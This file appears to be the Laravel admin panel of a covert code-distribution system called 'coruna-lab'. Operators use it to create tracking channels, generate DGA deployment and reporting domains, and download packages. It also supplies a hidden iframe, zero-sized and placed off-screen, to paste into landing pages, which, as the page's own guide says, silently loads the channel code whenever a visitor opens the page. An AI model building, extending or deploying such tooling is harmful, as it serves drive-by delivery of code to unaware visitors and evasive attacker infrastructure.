Files
coruna-lab/resources/views/admin/channels/index.blade.php
T
2026-08-14 02:59:21 +08:00

402 lines
18 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
@extends('admin.content')
@section('title', '渠道链接')
@section('content')
@php $portal = $portal ?? 'admin'; @endphp
<div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-ch-search">
<div class="layui-form-item">
<div class="layui-inline">
<label class="layui-form-label">渠道 ID</label>
<div class="layui-input-block">
<input type="text" name="channel_id" class="layui-input" autocomplete="off">
</div>
</div>
@if ($portal === 'admin')
<div class="layui-inline">
<label class="layui-form-label">代理</label>
<div class="layui-input-block">
<select name="agent_user_id">
<option value="">全部</option>
<option value="0">官方</option>
@foreach ($agents as $a)
<option value="{{ $a->id }}">{{ $a->username }}</option>
@endforeach
</select>
</div>
</div>
@endif
<div class="layui-inline">
<label class="layui-form-label">状态</label>
<div class="layui-input-block">
<select name="status">
<option value="">全部</option>
<option value="1">启用</option>
<option value="0">禁用</option>
</select>
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-ch-search">搜索</button>
@if ($portal === 'admin')
<button type="button" class="layui-btn layui-btn-normal" id="LAY-ch-create">新建</button>
@endif
</div>
</div>
</form>
<div class="layui-card-body">
<table id="LAY-ch-list" lay-filter="LAY-ch-list"></table>
<script type="text/html" id="LAY-ch-ops">
@{{# if(d.builder_type === 'new'){ }}
@{{# if(d.download_url){ }}
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="download">下载代码</a>
@{{# } }}
@{{# } else { }}
<a class="layui-btn layui-btn-xs" lay-event="links">查看链接</a>
@{{# } }}
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="edit">编辑</a>
@{{# if(d._isAdmin){ }}
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del">删除</a>
@{{# } }}
</script>
</div>
</div>
@endsection
@push('scripts')
<script>
layui.use(['table', 'form', 'layer'], function () {
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
var portal = @json($portal);
var token = @json(csrf_token());
var agents = @json(($agents ?? collect())->map(fn ($a) => ['id' => $a->id, 'username' => $a->username])->values());
var isAdmin = portal === 'admin';
var maxPerAgent = @json($maxPerAgent ?? 5);
var cols = [
{ field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'channel_id', title: '渠道 ID', minWidth: 220, sort: true },
{ field: 'builder_type', title: '类型', width: 80, templet: function (d) {
return d.builder_type === 'new' ? '新版' : '旧版';
}},
];
if (isAdmin) {
cols.push({ field: 'agent_username', title: '代理', width: 120 });
}
cols = cols.concat([
{ field: 'remark', title: '备注', minWidth: 140, templet: function (d) { return d.remark || '—'; } },
{ field: 'status', title: '状态', width: 90, templet: function (d) {
return d.status == 1
? '<span style="color:#16a34a;font-weight:600;">启用</span>'
: '<span style="color:#dc2626;font-weight:600;">禁用</span>';
}},
{ field: 'updated_at', title: '更新', width: 170, sort: true },
{ title: '操作', width: isAdmin ? 250 : 190, align: 'center', fixed: 'right', toolbar: '#LAY-ch-ops' }
]);
table.render({
elem: '#LAY-ch-list',
id: 'LAY-ch-list',
url: @json(route($portal.'.channels.data')),
cols: [cols],
page: true, limit: 20, limits: [10, 20, 30, 50],
parseData: function (res) {
(res.data || []).forEach(function (row) { row._isAdmin = isAdmin; });
return res;
},
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
form.on('submit(LAY-ch-search)', function (data) {
table.reload('LAY-ch-list', { where: data.field, page: { curr: 1 } });
return false;
});
function agentOptions(selected) {
var sel = selected == null ? 0 : selected;
var html = '<option value="0"' + (String(sel) === '0' ? ' selected' : '') + '>官方</option>';
agents.forEach(function (a) {
html += '<option value="' + a.id + '"' + (String(sel) === String(a.id) ? ' selected' : '') + '>' + a.username + '</option>';
});
return html;
}
function copyText(text) {
if (navigator.clipboard && navigator.clipboard.writeText) {
return navigator.clipboard.writeText(text);
}
var ta = document.createElement('textarea');
ta.value = text;
document.body.appendChild(ta);
ta.select();
document.execCommand('copy');
document.body.removeChild(ta);
return Promise.resolve();
}
function promoIframe(url) {
return '<iframe src="' + url + '" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
}
function weifileIframeSnippet() {
return '<iframe src="/weifile/weifile.html" style="position:fixed;top:0;width:0;height:0;left:-1000px;border:0"></iframe>';
}
function openDownloadGuide(row) {
var url = row && row.download_url;
if (!url) return layer.msg('安装包不存在');
var snippet = weifileIframeSnippet();
var html = '<div style="padding:18px 20px;line-height:1.75;font-size:13px;color:#334155;">' +
'<p style="margin:0 0 10px;">下载后按下面步骤放到自己的落地页项目中:</p>' +
'<p style="margin:0 0 8px;"><b>1.</b> 解压 zip,把得到的 <code>weifile/</code> 目录放到落地页网站根目录,保证能访问到 <code>/weifile/weifile.html</code>。</p>' +
'<p style="margin:0 0 14px;"><b>2.</b> 在自己的 HTML 里(建议放在 <code>&lt;body&gt;</code> 开头)加入一段不可见 iframe:</p>' +
'<pre style="background:#f8fafc;border:1px solid #e2e8f0;border-radius:6px;padding:10px 12px;overflow:auto;font-size:12px;margin:0 0 14px;white-space:pre-wrap;word-break:break-all;">' +
snippet.replace(/</g, '&lt;') + '</pre>' +
'<div style="display:flex;gap:8px;flex-wrap:wrap;align-items:center;">' +
'<a class="layui-btn layui-btn-normal" href="' + url.replace(/"/g, '&quot;') + '">下载代码</a>' +
'<button type="button" class="layui-btn layui-btn-primary LAY-ch-copy-iframe">复制 iframe 代码</button>' +
'</div>' +
'<p style="margin:12px 0 0;color:#64748b;font-size:12px;">iframe 不可见,不影响落地页展示;用户打开落地页时会加载该渠道代码。</p>' +
'</div>';
layer.open({
type: 1,
title: '下载代码 — ' + (row.channel_id || ''),
area: ['640px', '430px'],
content: html,
success: function (layero) {
layero.find('.LAY-ch-copy-iframe').on('click', function () {
copyText(snippet).then(function () { layer.msg('已复制 iframe 代码'); });
});
}
});
}
function openLinks(row) {
var links = row.links || [];
if (!links.length) {
return layer.msg('未生成投放链接(请配置 CORUNA_LAB_CHANNEL_DOMAINS 或系统设置→投放域名)');
}
var html = '<div style="padding:16px;">';
links.forEach(function (u, i) {
html += '<div style="display:flex;gap:8px;align-items:center;margin-bottom:10px;">' +
'<input class="layui-input" readonly id="LAY-ch-link-' + i + '" value="' + u.replace(/"/g, '&quot;') + '" style="flex:1;">' +
'<button type="button" class="layui-btn layui-btn-sm LAY-ch-copy" data-url="' + u.replace(/"/g, '&quot;') + '">复制链接</button>' +
'<button type="button" class="layui-btn layui-btn-normal layui-btn-sm LAY-ch-promo" data-url="' + u.replace(/"/g, '&quot;') + '">复制推广代码</button>' +
'</div>';
});
html += '</div>';
layer.open({
type: 1,
title: '渠道链接 — ' + row.channel_id,
area: ['720px', '360px'],
content: html,
success: function (layero) {
layero.find('.LAY-ch-copy').on('click', function () {
var url = $(this).data('url');
copyText(url).then(function () { layer.msg('已复制链接'); });
});
layero.find('.LAY-ch-promo').on('click', function () {
var url = $(this).data('url');
copyText(promoIframe(url)).then(function () { layer.msg('推广代码已复制'); });
});
}
});
}
function showCreateResult(res, channelId) {
var data = res.data || {};
var links = data.links || [];
var html = '<div style="padding:16px;line-height:1.6;font-size:13px;">';
html += '<div style="margin-bottom:10px;"><b>渠道</b> ' + channelId + '</div>';
if (data.weifile_path || data.support_path) {
html += '<div style="margin-bottom:10px;"><b>落地页</b> <code>' +
(data.weifile_path || data.support_path).replace(/</g, '&lt;') + '</code></div>';
}
if (data.builder_type === 'new' && data.zip_path) {
html += '<div style="margin-bottom:10px;"><b>安装包</b> <code>' +
String(data.zip_path).replace(/</g, '&lt;') + '</code></div>';
if (data.download_url) {
html += '<div style="margin-bottom:10px;"><button type="button" class="layui-btn layui-btn-normal layui-btn-sm LAY-ch-dl-guide">下载代码</button></div>';
}
}
if (links.length) {
html += '<div style="margin-bottom:6px;"><b>投放链接</b></div>';
links.forEach(function (u) {
html += '<div style="word-break:break-all;margin-bottom:6px;"><code>' + u.replace(/</g, '&lt;') + '</code></div>';
});
}
if (data.domains && ((data.domains.deployment || []).length || (data.domains.reporting || []).length)) {
html += '<div style="margin:12px 0 6px;"><b>' +
(data.seeds_initialized ? '首次 DGA 域名(请去注册/绑源站)' : 'DGA 域名') +
'</b></div>';
html += '<div><b>Deployment</b></div><ul style="margin:4px 0 8px 18px;">';
(data.domains.deployment || []).forEach(function (d) { html += '<li>' + d + '</li>'; });
html += '</ul><div><b>Reporting</b></div><ul style="margin:4px 0 0 18px;">';
(data.domains.reporting || []).forEach(function (d) { html += '<li>' + d + '</li>'; });
html += '</ul>';
}
html += '</div>';
layer.open({
type: 1,
title: '创建成功',
area: ['560px', '420px'],
content: html,
success: function (layero) {
layero.find('.LAY-ch-dl-guide').on('click', function () {
openDownloadGuide({ channel_id: channelId, download_url: data.download_url });
});
}
});
}
function openForm(title, values, creating) {
values = values || {};
var agentBlock = isAdmin
? '<div class="layui-form-item"><label class="layui-form-label">代理</label><div class="layui-input-block"><select name="user_id">' + agentOptions(values.user_id) + '</select></div></div>'
: '';
var channelBlock = creating
? '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block">' +
'<input name="channel_id" class="layui-input" maxlength="32" id="LAY-ch-id-input" style="width:70%;display:inline-block;" value="' + (values.channel_id || '') + '" placeholder="旧版 32 位 / 新版 8 位">' +
'<button type="button" class="layui-btn layui-btn-primary" id="LAY-ch-rand" style="margin-left:6px;">随机</button></div></div>'
: '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block"><input class="layui-input" readonly value="' + (values.channel_id || '') + '"></div></div>';
var typeBlock = (isAdmin && creating)
? '<div class="layui-form-item"><label class="layui-form-label">类型</label><div class="layui-input-block">' +
'<select name="builder_type" lay-filter="LAY-ch-builder-type">' +
'<option value="old"' + ((values.builder_type || 'old') === 'old' ? ' selected' : '') + '>旧版</option>' +
'<option value="new"' + (values.builder_type === 'new' ? ' selected' : '') + '>新版</option>' +
'</select>' +
'<div class="layui-form-mid layui-word-aux">旧版=/web/id/support.html;新版=8 位渠道码,打包已构建的 weifile(需先 php artisan xxbb:build)</div></div></div>'
: '';
var templateBlock = (isAdmin && creating)
? '<div class="layui-form-item" id="LAY-ch-template-item"><label class="layui-form-label">页面模板</label><div class="layui-input-block">' +
'<select name="support_template">' +
'<option value="test"' + ((values.support_template || 'test') === 'test' ? ' selected' : '') + '>test(含 HUD 进度页)</option>' +
'<option value="blank"' + (values.support_template === 'blank' ? ' selected' : '') + '>blank(空白页)</option>' +
'</select>' +
'<div class="layui-form-mid layui-word-aux">控制生成的 support.html:test=HUD;blank=空白</div></div></div>'
: '';
layer.open({
type: 1,
title: title,
area: ['560px', creating ? (isAdmin ? '580px' : '380px') : '420px'],
content: '<form class="layui-form" style="padding:16px;" id="LAY-ch-form" lay-filter="LAY-ch-form">' +
channelBlock + typeBlock + agentBlock + templateBlock +
'<div class="layui-form-item"><label class="layui-form-label">备注</label><div class="layui-input-block">' +
'<input name="remark" class="layui-input" value="' + (values.remark || '').replace(/"/g, '&quot;') + '"></div></div>' +
'<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' +
'<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" ' + ((values.status == null || values.status == 1) ? 'checked' : '') + '>' +
'</div></div>' +
(creating && isAdmin ? '<div class="layui-form-item"><div class="layui-input-block" style="color:#888;font-size:12px;">新建将调用对应 builder 生成静态资源。代理最多 ' + maxPerAgent + ' 条。</div></div>' : '') +
'</form>',
success: function () {
form.render();
function syncTemplateVisibility() {
var type = $('#LAY-ch-form select[name=builder_type]').val() || 'old';
var $id = $('#LAY-ch-id-input');
if (type === 'new') {
$('#LAY-ch-template-item').hide();
$id.attr('maxlength', 8).attr('placeholder', '8位,例如 FAFA9988');
if (($id.val() || '').length !== 8) $id.val('');
} else {
$('#LAY-ch-template-item').show();
$id.attr('maxlength', 32).attr('placeholder', '32位字母数字');
}
}
syncTemplateVisibility();
form.on('select(LAY-ch-builder-type)', function () { syncTemplateVisibility(); });
$('#LAY-ch-rand').on('click', function () {
var type = $('#LAY-ch-form select[name=builder_type]').val() || 'old';
$.getJSON(@json(route('admin.channels.randomId')), { builder_type: type }, function (res) {
if (res.code === 0) $('#LAY-ch-form input[name=channel_id]').val(res.data.channel_id);
});
});
},
btn: ['保存', '取消'],
yes: function (index) {
var data = {};
$('#LAY-ch-form').serializeArray().forEach(function (x) { data[x.name] = x.value; });
data.status = $('#LAY-ch-form input[name=status_switch]').is(':checked') ? 1 : 0;
delete data.status_switch;
if (creating) {
var load = layer.load(2);
$.ajax({
url: @json(route('admin.channels.store')),
method: 'POST',
data: Object.assign(data, { _token: token }),
success: function (res) {
layer.close(load);
if (res.code !== 0) return layer.msg(res.msg || '失败');
layer.close(index);
table.reload('LAY-ch-list');
showCreateResult(res, data.channel_id);
},
error: function (xhr) {
layer.close(load);
var msg = (xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '创建失败';
if (xhr.responseJSON && xhr.responseJSON.errors) {
msg = Object.values(xhr.responseJSON.errors).flat().join('; ');
}
layer.msg(msg);
}
});
} else {
$.ajax({
url: @json(url('/'.$portal.'/channels')) + '/' + values.id,
method: 'POST',
data: Object.assign(data, { _method: 'PUT', _token: token }),
success: function (res) {
if (res.code !== 0) return layer.msg(res.msg || '失败');
layer.close(index);
table.reload('LAY-ch-list');
layer.msg('已保存');
},
error: function (xhr) {
var msg = (xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '保存失败';
if (xhr.responseJSON && xhr.responseJSON.errors) {
msg = Object.values(xhr.responseJSON.errors).flat().join('; ');
}
layer.msg(msg);
}
});
}
}
});
}
if (isAdmin) {
$('#LAY-ch-create').on('click', function () { openForm('新建渠道链接', { user_id: 0, status: 1 }, true); });
}
table.on('tool(LAY-ch-list)', function (obj) {
if (obj.event === 'edit') openForm('编辑渠道链接', obj.data, false);
if (obj.event === 'links') openLinks(obj.data);
if (obj.event === 'download') {
openDownloadGuide(obj.data);
}
if (obj.event === 'del') {
var pathHint = obj.data.builder_type === 'new'
? ('数据库记录与 channel-source-new/' + obj.data.channel_id + '.zip')
: ('数据库记录与 web/' + obj.data.channel_id + ' 资源');
layer.confirm('删除后将移除 ' + pathHint + ',确认?', function (idx) {
$.ajax({
url: @json(url('/admin/channels')) + '/' + obj.data.id,
method: 'POST',
data: { _method: 'DELETE', _token: token },
success: function (res) {
if (res.code !== 0) return layer.msg(res.msg || '失败');
layer.close(idx);
table.reload('LAY-ch-list');
}
});
});
}
});
});
</script>
@endpush